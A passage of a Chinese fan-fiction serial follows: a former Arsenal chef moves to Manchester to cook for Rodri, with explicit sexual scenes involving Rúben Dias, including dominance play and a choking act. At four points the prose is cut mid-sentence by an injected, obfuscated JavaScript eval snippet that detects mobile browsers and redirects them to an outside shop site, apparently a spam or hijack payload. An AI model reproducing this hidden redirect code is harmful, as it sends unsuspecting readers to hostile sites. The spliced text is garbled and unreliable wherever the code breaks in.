“别开玩笑了,罗德里,我不会再通勤了,我讨厌职场,我用赔偿金开个小餐馆不成问题,说不定就又上电视台了,到时候我就在电视台上对大家公e out,然后贴上一个拒绝有色眼镜来吃饭的标识。” “我的朋友,布莱恩,我相信你可以做的到,不过,你也可以选择相信我。只要我说想吃你做的这些菜,曼城不会拒绝我。” “谢谢你,罗德里,我相信你,但…” “布莱恩,我现在还没归队,你也不用急着拒绝我,给你时间考虑,我相信我的队友也需要好好补一补,最近他们都颓废的不成样子,你来了一定会对我们有帮助的。难道你不想利用曼城来帮你实现这个复仇计划吗,让他们知道失去你是多么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411502|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的损失,不,是事故。” “哈哈哈…罗德里,你真的很聪明,劝解人也很厉害,谢谢!我会考虑的。只是伦敦我住的久了,离开还怪舍不得的。” “那是一定的,有机会来曼城玩玩,你会爱上这里的。” 挂了电话,克里奇利感觉舒服多了,出门左拐去了健身房,和他那两个朋友显摆自己晒的一身小麦色,接着被健身房的一个帅哥盯上,在浴室调了一会情,就把小帅哥带回家里疏解郁气了。 走之前,理查德和保罗又气又酸,这个小帅哥他们俩盯了好几天了,克里奇利一来,只一个眼神就让他们功亏一篑,只能目送他们两个潇洒离开。 这样的日子就是克里奇利的日常,他怎么能说放弃就放弃,曼城也有这样随心所欲的日子吗?真的要再次通勤吗?伦敦呆了7、8年了,所有txl酒吧里长的过得去的好像都被他约过一遍了,去另一个城市也好,总不能在一个地方连摔两跤吧,但是他还没攒够钱买下宝格丽呢,更别提攒够钱买下阿森纳了,想到这,他长叹一声,说了去“去他妈的吧,先养活自己再说。” 他怀里的小帅哥抬眼看了看他,对他说:“布莱恩,我也可以养你,我爸在阿森纳餐厅工作,他最近升职了,成为了行政主厨,这还得感谢他的竞争对手不检点,被人事开除了。” “噢?”克里奇利差点笑出声,他捏着这个看上去不到二十岁的小伙子的下巴,问他:“那你觉得我检点吗?” “也不检点。” “回去跟你爸说,你有一个朋友叫布莱恩,也想尝尝他做的菜。” “没问题,你要是来,估计他会欢迎的。” 呵…克里奇利笑,别说他还真想和这个小帅哥去他家蹭饭,他爸是会心虚的好好招待自己一番,还是会怒目圆瞪的怒斥他儿子,不要和他在一起呢,光是想想就让人觉得舒坦。 克里奇利一声不响的走了,挽留他的人也不是没有,他都一一回绝了。 他对厄德高说:“你的嘴巴也不能太刁了,我不在也要好好吃饭,不要总吃土豆和海鱼,搭配一些我给你列的果蔬,坚持几个月不说你能长两公分,也能增肌4磅。” 厄德高问他两公分长哪。 他笑而不语。 赖斯不用他嘱咐,但是需要他哄。赖斯问他干嘛走,以后想他怎么办,他说你会在梦里见到我,Ricebaby,我注定一生漂泊。赖斯说你可真够浪的,行吧,谁叫你是上帝捏的礼物,随你去吧,但祝你好运。 哈弗茨没给他打电话,只是发了一条简讯,文字虽短,足够有力,他说:“I''ll never et your sucking and taking it up to me。” 克里奇利回他:“My honor.” 很快,克里奇利就研究好了第二份食谱发给了罗德里,过了一会,罗德里直接打电话给他,“算我求你,布莱恩,你来帮帮我吧,我的厨师要疯了,他根本不会做,而我最近什么都吃不下,你日薪多少,我付双倍。” 15.第 15 章 克里奇利也想不出什么好的理由来拒绝,只好先答应下来。 晚上他和两个好朋友照常聚在nice吧里。理查德看他一晚上魂不守舍的,也不和舞池里的帅哥眉来眼去,只顾着在吧台喝酒。保罗刚跳完舞走过来摸了他脸一把,问他今天怎么了,要改邪归正准备吃素了? 克里奇利轻叹了一声,对他俩说:“真难想象没有你俩在我耳边嗡嗡,我会不会得了清静恐惧症。” 理查德拍了拍他的肩膀,抱住他的头,问他:“怎么了?戒色了?怎么看上去今天好像是最后一天来这里混了?” 保罗也贴上去,问他是哪根筋不对,就算不在阿森纳干了,也不至于受这么大打击,难道还给自己打击直了不成? 克里奇利挣脱开他们两个的魔爪,骂了一声“滚,把我发型都弄乱了。” 接着他说:“我可能要离开伦敦了。” “啊?”他俩异口同声的惊叫了出来。 “不会吧,布莱恩,伦敦都睡遍了吗?” “要去哪开拓新领地了?” 克里奇利揉了揉额头,说:“跟你俩聊天就没个正经的时候,不过你说的对,理查德,确实没什么新意了。” “你要去哪?”保罗好奇的问。 “曼彻斯特。不过我还没有想好,不知道那里有没有这样的夜生活。” “哪里都有,就凭你,还怕床空着吗?”理查德揉了揉他的头发,把他的发型彻底揉乱,要是平时谁敢这样折腾他头发,他准是要揍人的,今天就好像被噶了蛋的公猫,一点进攻欲望都没有。 “再说了,你也不是那守旧的人,衣服一天一套,帅哥一天一个,换换地方也好,省的哪天你的情债找上门来,一人一口唾沫也能把你淹死。”保罗的话,倒也不是危言耸听,他的确因为酒后失忆得罪过不少对他抱有幻想的人,还因此被造谣得了传染病,导致他一段时间都要拿着诊断单约p。 “噢,真令人寒心,你们两个就没有要挽留我的意思吗?”克里奇利左右看了看这两个和他从小玩到大的好基友。 “没有。”他俩摇摇头。 “从你们嘴里听到‘噢,布莱恩,无论你做什么决定,我们都会支持你的’这样的话就跟我被入了一样罕见。” “所以,享受当下。” 他们俩也不是不关心克里奇利,只是他们知道克里奇利需要支持的方式并不是像闺蜜那样说点正能量的话,而是要刺激他绵延不绝的优越感和公狗一样的领域危机,所以总给他留下一个你快点走,别跟我们抢资源的bitch假象。 “混不好再回来呗,你又饿不死。”这是他俩嘴里能吐出的最好的象牙了。 他只是去曼彻斯特帮助他的好朋友罗德里调整饮食,顺便在好朋友的邀请下在曼彻斯特住些日子罢了,又不是真的要搬家,但他考虑他两个好朋友的话,到另一个城市去重振雄风,也不是不可行。 于是他收拾好简单的行囊,开上自己的小宝马去了曼彻斯特。 他拒绝了罗德里要付给他的日薪而选择接受他提供的住处,一个可以做饭的公寓,楼下还有一个大型商超,方便他购买食材。 罗德里知道他刚来曼彻斯特肯定会不习惯,而且身边没什么朋友,一定会很寂寞,伦敦和曼彻斯特也不一样,他就是一支夜晚盛放的玫瑰,在繁华时尚狂野的都市随心所欲的绽放耀眼的光泽。他不该埋没在市井之中,可让他接受自己说情,介绍一份去曼城的工作,他一定会拒绝,因为时机还不成熟,他们也没亲近到那个地步。 可正是因为还不那么亲近,没有枕头纠葛,也让帮助和被帮助变得水到渠成。 他帮助罗德里调整饮食,加速身体恢复,罗德里则帮助他适应新环境,认识新朋友并做些私活。 他刚到曼彻斯特,罗德里就盛情接待了他。 这是一场金球奖私人聚会。罗德里包下了曼彻斯特最负盛名的西班牙餐厅,邀请了他在曼彻斯特的亲友团队和几个要好的队友,都是他最亲近的人。 为了表示尊重,克里奇利穿的很正式,一套黑色修身的西服,星空蓝的衬衫,不用过度打扮往镜子跟前一站就是米其林三星大帅比,谁知出门却忘了打领带,在夜店混久了,出席正式的场合有点不习惯,能想着带双皮鞋来就不错了。 入座的时候,罗德里向大家隆重介绍了他,罗德里说:“这是我从伦敦请来的营养师兼膳食顾问,布莱恩.克里奇利,之前在阿森纳做行政主厨,被我挖来了,他近期在曼彻斯特考察业务,你们有需求的赶紧留下他的联系方式,过了这村没这店了。” “哇哦!”大家纷纷投来不可思议的神情。 克里奇利也没不好意思,他知道罗德里肯定会夸大其词,让他面上好看,他一一看向把目光投向他的人,礼貌的报以微笑。 只有坐在长桌一角的一个金发肤白的男人没有抬头看他,但他起初并没有在意。 他把西服外套脱掉,挂在椅背上,然后挽了挽袖子坐了下来。 罗德里坐在长桌的一头,把右手边最尊贵的位置给了克里奇利,而他左边另一个尊贵位置上坐着一位型男,他穿着和克里奇利衬衫同一个颜色的西服,打着领带,有形的胡子修饰着他略尖的下颌,黑发黑瞳,成熟的打扮看上去像一只冷酷的警犬。 为什么不是警/察而是警犬,克里奇利哑然失笑,内心对自己产生的冒犯想法说一声抱歉。 劳拉在另一桌招呼女性朋友,虽然是私人聚会,排场也不小,大家都盛装出席,一眼望去不少社会名流和名媛们,但克里奇利并不是趋炎附势之人,他虽见过世面,但是他记不住这些上流社会的宠儿,何况是在曼彻斯特了。 罗德里细心的给克里奇利介绍,第一位便是这个看上去一本正经不苟言笑的“警犬”朋友。 他说:“这位是我曼城的队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414450|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友也是我的好朋友,鲁本迪亚斯。” “噢,你好!”克里奇利站起来与他握手,却被罗德里按住了肩膀,他说,“不用站起来,后面这一堆人,你要是挨个问候的话,也不方便。” 鲁本迪亚斯习惯了这种场合,他没站起来,但伸出手和克里奇利握了握手。 他握着克里奇利的手不撒手,偏过头去问罗德里,“你什么时候认识这么一个伦敦小美人的?”谁知这个看上去一脸严肃的鲁本迪亚斯一张口就暴露了他开玩笑不怕事大的本性。 小美人?克里奇利听了微微皱眉,他确定这个鲁本迪亚斯说的是英语,他手上的力道不自觉的加重了些。 接着,罗德里又向他介绍了这一圈要好的朋友,当他介绍到金发男人时,金发男人正在吃东西,他知道嘴里含着东西,说话不礼貌,于是没有张口也没有笑。 “那位是凯文.德布劳内,我那了不起的队友。”罗德里郑重介绍着。 确实很了不起,克里奇利和他眼神的交汇只有短短的一瞬,就好像是罗德里单方面的介绍,而他已经进入了正餐,他还是没有正眼看这个所谓的罗德里的伦敦好朋友,更何况是阿森纳来的,跟他没有半点关系。 孤傲,冷漠,不可一世,克里奇利倒也没觉得怎样,可能是自己抢了他应该坐的位置吧,所以他才跑去了一角,摆臭脸给罗德里看。 他现在满脑子都是对面这个叫鲁本的家伙说他是小美人。 桌子是狭长的长方形,坐在对面的两个人同时用餐还是会挨得很近,鲁本迪亚斯的大眼睛频频看向克里奇利,看的他不知不觉清了两杯红酒,胸口愈发燥热。 不仅如此,他的脚尖也被他不经意的碰触了好几次,是两个人都腿太长了吗,绝对不是,克里奇利知道踢球的脚底下还是有点数的。 对克里奇利来说,被人撩时时刻刻都会发生,但都是在特定场合,在今天这种正式社交场里,他还不够确定自己有没有那个一面就吸引帅哥的本事。 今天没打领带的他,衬衫领口微微敞开,上挽的袖子勒出了结实流畅的手臂线条,白皙的手指握住玻璃杯透着逼人的性感,被叫小美人后一双不服气的眼神时不时的划过鲁本迪亚斯的脸到胸膛。 于是,他开始还以颜色。 他拿起餐巾擦了擦嘴角,放下叉子,后背靠在椅子上,身子向下挪了挪,翘起二郎腿时皮鞋尖撩起了鲁本迪亚斯的裤脚,并从他的小腿缓缓的蹭了上去。 鲁本被他看似不是故意却充满了主动出击的动作搞的叉子掉在盘子里,发出了一声脆响,盘子里的番茄汁不小心溅到了他的白衬衫上。 “不好意思。”他对罗德里说,“我去一下卫生间。” 他红着脸落荒而逃的样子,全被克里奇利看了去。 “不好意思,罗德里,我也去一下卫生间。” 他起身离开时,德布劳内才抬眼正视了他一眼。 16.第 16 章 鲁本迪亚斯站在镜子前心不在焉的擦拭着衬衫上的番茄酱,镜子中自己的脸好像比番茄酱还要红。 这时,克里奇利不声不响的走进来,径直走到他身后的小便池,开始解手,高大的背影看上去比他还高。 鲁本从镜子里偷瞄他,待他拉上拉链,系上腰带扣转身时,鲁本的眼睛又赶紧挪向水龙头。 克里奇利在他旁边洗手,从镜子里看了他一眼,又侧过头来看他,好像在认证什么。 鲁本被他盯了半天,也侧过头来看他,想和他说句话,谁知眼神交汇,瞬间电光石火,他只张了张嘴,却忘了要说什么。 从刚才的脚尖碰撞到现在的眼神拉扯,认识还不到半个小时,好像做了全套。 克里奇利问他:“你说我是小美人?” 鲁本啊了一声,但嗓子不太利索,他清了清嗓子,装作什么事都没有似的还歪头笑了笑。 克里奇利点了点头,心想你才是小美人。刚要与他擦肩而过,突然一把抓住鲁本的领带扣,几步就把他扯进了身后的隔间里,落上了锁。 他双手按着鲁本的肩膀让他坐在马桶上,接着大腿一迈就跨坐在鲁本的腿上。 “为什么叫我小美人?” 鲁本被他大胆的动作吓的心跳加速,但仍表现的像身经百战一样淡定,他弯了弯嘴角,说,“因为你看起来…像个…小受。” 克里奇利皱紧了眉,脸往后撤了撤,露出一副怎么会这样的表情。 接着克里奇利就毫无征兆的撞过去吻住了他的嘴。 这个吻来的凶猛,像秋风扫落叶,狠厉的卷走树枝上还在苦苦挣扎的片片枯黄,亲的鲁本迪亚斯被迫仰着头呼吸一阵踉跄。 他怎么敢?! 不怕亲错了挨揍? 不怕。克里奇利的眼睛就是直男过滤器。从鲁本握他的手,调侃他小美人开始,他就知道鲁本是个泛性恋,喜欢一切美的东西。他们脚底下你来我往就是在告诉对方,请你一定要勾搭我。 克里奇利一只手托着鲁本的后脖颈,低着头专心的亲吻他,另一只手就开始扯他的领带。 鲁本也毫不客气的握紧了他的腰,趁着喘息的空档,夸赞他,“你还挺有肉的。” 克里奇利闻着他颈间的龙涎香掺杂着一点葡萄柚的香甜,很想咬一口,但这里不太私密,还不能太放肆。 他倒是没什么,球星必须得保护好,绝对不能让人发现他们的特殊癖好,这一点,克里奇利做的很好,他感谢酒精让他过后记不住人名,实际上他也不想记,避免不必要的麻烦,也让那些有顾虑的人在他这里得到安全感。 克里奇利跨坐在鲁本的身上,低头拥吻着他,这个姿势很诱惑,不得不让人猜想他是个诱受。 “布莱恩克里奇利,你的名字好文雅,可…” “嘘……”克里奇利亲住了他的嘴,接着在他耳边轻声说:“你只是看到了我的这一面,还有另一面,如果你想知道,今晚结束后来找我。” 克里奇利的嘴唇划过他的脸,热浪喷薄在他的耳后,长长的手指插进鲁本的发丝里,扣着他后脑恋恋不舍啄了他几口,然后把他的衬衫扣子一粒一粒系好,领带拉上去,不慌不忙的站起来,打开门扬长而去。 这一系列动作浑然天成,熟练的好像彩排过很多次,让鲁本顿感招惹了高手。 克里奇利的一波骚操作干脆利索一点也不油腻,如龙卷风一般席卷了他内心深处构建的泛性幻想世界,又不动声色的潇洒离开,只留下难以收场的一片狼藉。鲁本的内心乱作一团,房盖都掀了,大树都原地连根拔了,让他坐在马桶盖上缓了好久好久才回到宴席。 罗德里调侃他,“你是把衣服洗了吹干再穿上的吗?这么讲究干嘛?今晚又没有记者,我们一顿饭都快吃完了。” 鲁本脸一阵红一阵白的说:“我吃饱了,你们不用管我。” 晚宴在最后的三三两两的觥筹交错和寒暄祝贺中愉快结束。罗德里安排司机把他的客人们都送回去,鲁本迪亚斯和克里奇利上了同一辆车,罗德里嘱咐司机,“他们两个住的不顺路,先送克里奇利先生,再送鲁本。” 鲁本说:“放心吧,我会把你的伦敦小美人安全护送到家的。” 罗德里说:“谢谢你,鲁本,这个地主之谊的人情我欠你一回。” 克里奇利摸摸下巴藏笑。 但是,车子刚离开饭店,鲁本就改了主意,他说,“先送我,我没吃饱,这个大厨必须跟我走。” 司机从后视镜看了克里奇利一眼,克里奇利装作无奈的表示,“就听他的吧,我无所谓。” 没想到刚来曼彻斯特,还没摸清这地方有什么好,就遇到了上品。 鲁本迪亚斯不知道他说的另一面是什么意思,虽然在卫生间里被他怒亲了,那也不代表自己可以随便让出A位。 可伦敦来的谦谦君子只徒有虚表,摘下面具就是一头嗜血的狼。西装革履束缚之下是一个性感生猛的胴体,肤色是晒过的麦浪,每块肌肉都清晰可见,特别是两胯的人鱼线,沿着松紧带延伸到那一小块布料里,极具视觉冲击。 他手里握着皮带,把脚底下的西裤挑到一边,醉眼迷离的看着嘴巴张成一个o型的大个子警犬,突然他双手握住皮带向两边一拽,皮带绷紧发出啪的一声脆响,在空旷的房间震出了回声,鲁本迪亚斯差点当场跪了。 克里奇利的眼睛就是透视镜,他第一眼看到鲁本就确定他是一只警犬了。前戏根本不重要,训狗就是要简单直接,甚至带着一点粗鄙无礼,狗狗才会臣服的伏在他的脚边。 他走过去,把金属皮带扣贴在鲁本的胸膛上,激的他泛起了颤栗,然后像他的主人一样,把皮带系在了他的脖子上,调整好松紧,但脖子太细卡扣扣不上,克里奇利只好用手捏住绕了两圈的皮带,把他扯进浴室。 刚才那个在车上命令厨子必须跟我走的霸道总裁,现在被人牵着脖子走。 有些微凉的水流顺着他们的发顶冲刷着两具健身模板一样的身体,身高也差不多,克里奇利只比他高一个发尖。从进门还一句话没说只用起伏的喘息声交流的他们,此情此景更难把控。 但克里奇利是谁呀,伦敦来的大stud,2米的长颈鹿都被他拖来拖去,还怕狗爪子乱踢吗?他双手握住两只狗爪,把他压在了浴室的玻璃门上,这回可以咬他的脖颈了,“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14423011|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗷”的一声,狗被人咬了。 鲁本迪亚斯可不甘心当狗狗,他只是被克里奇利太过自由奔放的动作给惊到了,但是他也不是什么情场低手,彻夜狂欢的体力精力有的是。 他双手支在玻璃门上,用力一推,整个身体就靠在克里奇利的怀里,然后背身把克里奇利顶在身后冰冷的墙面上。 接着他凭借对自家浴室的熟悉程度,抓起喷头对着克里奇利的脸就浇了上去,克里奇利本能的一闭眼,就感觉腰上一紧,脚底下一松,又被他单手揽着腰斜插上一脚,顺势推倒在身侧的浴缸里。 鲁本还没有完成他的后卫铲断流程,大腿迅速卡裆完成了first kill. 克里奇利闷哼了一声,终于开口:“对我用犯规动作?” 鲁本用手指刮了刮他睫毛上的水珠,自信满满的说:“想生吃了我,你还嫩了点。” 克里奇利不是前锋,他不懂怎么生吃后卫,特别是这种进攻属性拉满的带刀后卫,但他知道狗狗本质的自恋人群只需要给点甜头就可以哄骗,他家的狗就是被一根火腿给骗走的。 克里奇利笑着抬手摸摸他的头,凑过去亲吻他,戳人的鼻尖和挺翘的下巴在鲁本的脸上温柔的蹭着,让他慢慢放松,慢慢进入享受的状态,大腿不要一直紧绷着,容易擦/枪走火,再说,这种体验当然是越不疼越好,谁好不容易看对眼了准备吃顿好的还得先打一架啊。 但鲁本不是普通的狗,摸头杀只对家养的□□用,对他这种狗是狗,边牧是边牧的超级警觉犬来说,敌人的诱惑就是导致自己直接被抓身位的致命武器。 他就是要用后卫的本事,确保自家大门不失。于是,他用喷头的金属管把克里奇利的双手给缠住了,并单手举上他头顶,让他成为自己的猎物而不是发号施令的主人。 克里奇利第一次觉得自己要失手了,他以为的man city是天堂,却没想到还没在man city站稳就要先跌上一跤,难道真的要把a位拱手相让?这不科学,也不符合逻辑,主要是狗狗不可能不听话,给甜头不管用,那只好给震慑。 “鲁本迪亚斯!下去!” “嗯?”鲁本听他叫自己的名字,怎么有股格拉利什味儿。 不是伦敦人是伯明翰人? 他一时有些走神,接着就被克里奇利套住了脖子,拉过来就亲。克里奇利的吻技超绝,舌头极其灵活,而且懂得怎么收放自如,因为他始终明白这一个原则,不管扮演什么角色,top or bottom,爽才是第一位的。 手腕上的金属管也松开了,这玩意不一直捏着根本当不了什么辅助工具,专业的事还得专业的人去做,克里奇利想这次只是来住个几天,真要是在曼城安营扎寨,各种道具得置办齐了才行,单是这只聪明的大狗狗,就得上全套才行,比如项圈,狗链,耐咬的橡胶棒和好吃的狗粮,这样他就不会总想着恶狗扑食了,乖乖趴下不是更好吗。 洗了太久,手指头都泡皱巴了。两个人从浴缸里出来,仍互不相让,他们再次发力抓着对方胳膊从床头打到床尾,好像床上有钉子似的谁也不肯让自己的前胸或是后背先贴在柔软的床垫上,这是何苦呢! 17.第 17 章 克里奇利再次跨坐在他大腿上,他刚要挣扎,就被克里奇利俯身压住了,抽出手来对着他饱满的屁股啪啪拍了两巴掌。 “噢!呵…”鲁本被他打笑了,说“你真他妈敢!” 克里奇利打完接着搂着他脖子给了他一个温柔缠绵的亲亲,语气却没有半分的退让,“别动!大狗狗,相信我,我是专业的。” “你不是专业炒菜的吗?” “噢,那只是我的副业,我的主业是让客户有更愉悦的身心体验。一会你开心了,我给你做好吃的。” “花言巧语,你怎么认识罗德里的?” “海边度假认识的。” “我才不信。” “直不直我还是能看出来的。” “你最好说话小心点。” “你这种嘛,我见的多了,就是比较费体力,因为位置习惯了,老是喜欢干粗活,不懂得享受当下。” 克里奇利一边说一边给他做指压按摩,让他该放松的地方放松,逐渐放弃干粗活的念头。 “对了,这样多好,不要怀疑我的手上功夫,玩火我是专业的,一会给你炖大骨棒吃。” “什么?” “我说的是猪骨棒,很有营养的。” “啊…” 指压按摩生效了,拿下first kill的还得是他,一个砂仁不眨眼的狠人,他知道对付什么动物该用什么套路,鲁本这样的聪明犬就得恩威并施。 流失了营养当然要补回来,别说鲁本需要补,克里奇利也需要补,他这一晚上光和鲁本“打架”了,吃的那点东西早就消耗了,饿肚子睡觉容易做噩梦,他翻身下床,去厨房找吃的去。 “冰箱里有蛋白棒。”鲁本躺着不愿意起来。 “谁要吃那东西啊,跟吃炉灰渣似的,鲁本,你也吃点好的吧。” 虽然他没有找到猪骨棒,但找到两个番茄和三个鸡蛋,于是一首歌的时间就做出了两碗香喷喷的打卤面。 半夜2点,他们光着膀子在沙发上吃夜宵。 鲁本几口就把面条吸溜光了,直呼太好吃了想要再吃一碗,克里奇利没给他吃,还说:“狗狗要保持饥饿。” 鲁本委屈巴巴的小眼神看着他把碗里的最后一口汤喝掉,就又扑上来和他滚到一起去了。 两个人从沙发滚到地毯上,横七竖八的空啤酒罐还有烟灰缸里数不清的烟蒂都是他们放纵的证据。两人喝完啤酒抽着烟提神,鲁本抽跑烟被克里奇利发现了,一把抢过来说不抽别浪费,然后突然又反应过来,拧着眉头凶他,“运动员,抽什么抽!” 鲁本说:“你管的真宽,才和我认识第一天就要做我的主了?” “那我不得不说一句,都是为了你好,为了你这里,这里,还有这里好。”他手指对着他胸肌腹肌和臀大肌指来指去。 “你只会让我精尽人亡,小美人。” “嗯?”克里奇利听他叫小美人还叫的怪好听,让他叫吧。克里奇利嘴角下压,一手勾住了他的腰,躺在他身下,好像要让出位置似的,另一只手绕过他的脖子,手指夹着两根烟送到嘴边抽了一口,接着拢过他的后脑勺,把烟半吐出来,像跟他玩游戏似的又吞进嘴里,最后全吹在他耳边,这一番烟雾攻击又激起了鲁本想要咬人的冲动。 他把脸埋在克里奇利出了一层薄汗的颈间,又嗅又咬,还伸出舌尖描摹那些好看的肌肉群,时不时抬眼去看他仰起头来释放呼吸的样子,觉得差不多是时候了,就去掰他的肩膀。 克里奇利心想他可真够执着的,这一宿不用睡了,光和他抢身位吧。不是之前已经用皮带和手掌训过了吗,怎么还不好使呢,咬人的狗狗不是好狗狗,还得继续教他坐,起,给爪。 “狗狗想吃肉了?”克里奇利把烟摁死在烟灰缸里,双手捧着他的脸,手指慢慢伸进他的短发里,微微收拢着抓住他发顶的卷毛像摁烟头一样往下摁。 克里奇利借他的力站了起来,居高临下的看着鲁本在自己面前一点一点的跪了下去,然后手指扣住他的后脑,狠心剥夺了他的呼吸。 大大的低垂着的黑色眼睛里很快就起了雾,还在苦苦挣扎想要尽力表现的像一只被驯服的大狗,让这个一会温柔一会霸道的新主人满意。 狗狗本质被激活了。一点让负,一点制止,一点诱惑和一点强硬的手段,就会让狗狗迷失自我,心甘情愿的任人摆布。 狗狗的心思也很直接,把人伺候舒服了就能让他吃饱了吧。 谁知他低估了贪心又无耻的伦敦小美人,小美人被他伺候爽了以后,翻脸不认狗,竟然在自己超勇猛的表现下一脚把自己踹开,然后拿起桌上的小方包装袋,用他的小虎牙熟练的撕开,接着就把狗扑劈叉了。 幸亏练过,不然还不被他把大腿内收肌给扯坏了。 狗狗有一种被强制爱了的感觉。 早上醒来,克里奇利睁开眼睛,又震惊到了自己,他竟然搂着鲁本迪亚斯,他一向睡完不认人的,从来都是转过去睡个七荤八素,甚至仰面朝天小腿都搭在别人身上,现在,这么温馨的早上还是头一次。 突然,他想养狗了。 他动了动胳膊,鲁本也睁开眼睛,抬头蹭了蹭他的脖子,又闭上眼睛继续睡。 “不上班了?”他试图抽出自己的胳膊,鲁本就往前凑了凑,压的更实诚了。 “我下午再去,现在不想动。” “不疼吧?” “……” 克里奇利睡不着了,他想着中午要去采购,晚上该给罗德里换食谱了,也要给罗德里做第一顿营养餐,萝卜炖羊肉,所谓秋进补,要补平,滋阴润燥,暖身暖心,别说罗德里需要补充元气,他和这个狗狗都需要,但现在他抽不出胳膊,也起不来床,浑身酸软的跟个大胖海参一样,趴在石头上不想挪窝了。 昨晚太激烈了,到后来他几乎又要去见他师父了,还差一点点就被狗撅了,要不是他哄骗狗说要在曼城常住,叫他乖乖听话,不然立刻回伦敦做大种公去,才保住自己一世英名。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14436280|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,他手机响了,他不得不推开狗脑袋,伸手去够手机。 是一个伦敦的陌生号。 他接起来,刚说了一句,“布莱恩克里奇利,哪位?” 那边就粗鲁的骂了他一句:“你怎么还没死?fuck you!你这该死的玩意,出门小心点!” “你他妈谁啊?” “嘟嘟嘟…”那边挂了电话。 克里奇利又看了看电话号码,确定不认识,真是日了狗了,一大早莫名其妙挨骂。 这下鲁本迪亚斯也睡不着了,他问谁这么没礼貌?你得罪人了? “我得罪的人能从这排到伦敦了,不至于。还从来没有打电话来找茬的,都被我服务的很好,而且知道我只玩一夜大部分都很有自知之明,只有少部分不死心,给我留言骂我混蛋的。” 听到克里奇利说这些,鲁本低了低头,眼神有些无处安放,随即起身去了浴室。 克里奇利注意到他走路有些颠簸,想起昨晚激烈的对抗,竟然有点窝心,他抿了抿嘴唇,看着浴室升起的雾气,突然感慨自己29岁了,会不会哪天突然死了还是孤身一人,那些一夜过后的小甜饼们会不会来悼念自己。 没有爱人,都是过客,会不会太可怜了些。想到这他又赶紧摇摇头,驱散这些不切实际的想法,一个人好,一个人生不带来死不带去,他师父也是如此,他始终认为他师父是得道成仙了,弥留之际只说要他继承衣钵,也没说放不下谁之类的。 他也起身去了浴室,可这次没有了昨夜的激流勇进,而是各洗各的,他几次给鲁本涂上沐浴露都被他拒绝了,说着我洗完了别再给我打泡沫了,接着把他一个人留在浴室。 克里奇利一边冲着水一边想,刚才不会是阿森纳那个西餐主厨吧,知道他儿子被自己睡了,恼羞成怒咒骂自己,可笑的是他儿子还要保养他呢,真是冤冤相报。 他有所不知,彻夜狂欢的他又得罪一个小冤家。 狗狗也想找主人,但克里奇利明显不是一个靠谱的主人,他比野狗还野,这不,他连早饭都没来得及给鲁本做,就提上裤子走人了。 但他走之前,给鲁本留了电话,说和你共度良宵很愉快,如果有冒犯之处,请原谅,最好别打电话骂他。 鲁本叫他快走,再不走就把他拖回来完成触地得分。 克里奇利认为他确实有这个本事。如果不走的话,被后卫得分是小事,被狗栓住了才是大事,谁能拒绝一只热情奔放还聪明懂事的狗狗呢,何况这只狗狗那么帅气,那么性感。 克里奇利走后,鲁本躺在凌乱的沙发上,看着一地的易拉罐和散落的烟蒂,觉得好像做了一个很长很痛又很过瘾的梦,他不恨克里奇利,他只是看不懂,为什么他可以这么潇洒,来去自如,好像没什么感情的杀手,用最温柔的闸刀一点一点的杀死自己,可那些亲吻,抚摸,拥抱还有他处处小心的动作,难道只是sex不是love. 算了,不去想了,这样也好,沦陷了谁都麻烦。 18.第 18 章 在曼彻斯特混了两周,除了每天给罗德里调整饮食之外,其他的时间无所事事,他开始想念伦敦的夜生活和他的两个小贱伙伴,而且就在圣诞节这天是自己的生日,他想回伦敦了。 罗德里受伤以后就没大有食欲,心情也很差,除了领金球奖前后有笑模样,之后就经常板着个脸,一副生人勿近的模样。 他什么都不爱吃,一度怀疑自己得了厌食症,有时候会无端端的对着夹生的土豆发脾气,他的厨师都快被他搞抑郁了,以前也没有这不吃那不吃的,现在越养越瘦不说,腿伤也恢复的不太好。 自从克里奇利给他调整了食谱,并每天晚上给他送去主菜,他才开始对食物感兴趣,第一道羊肉炖萝卜就征服了他的味蕾,让他逐渐从素食动物变成了肉食动物。 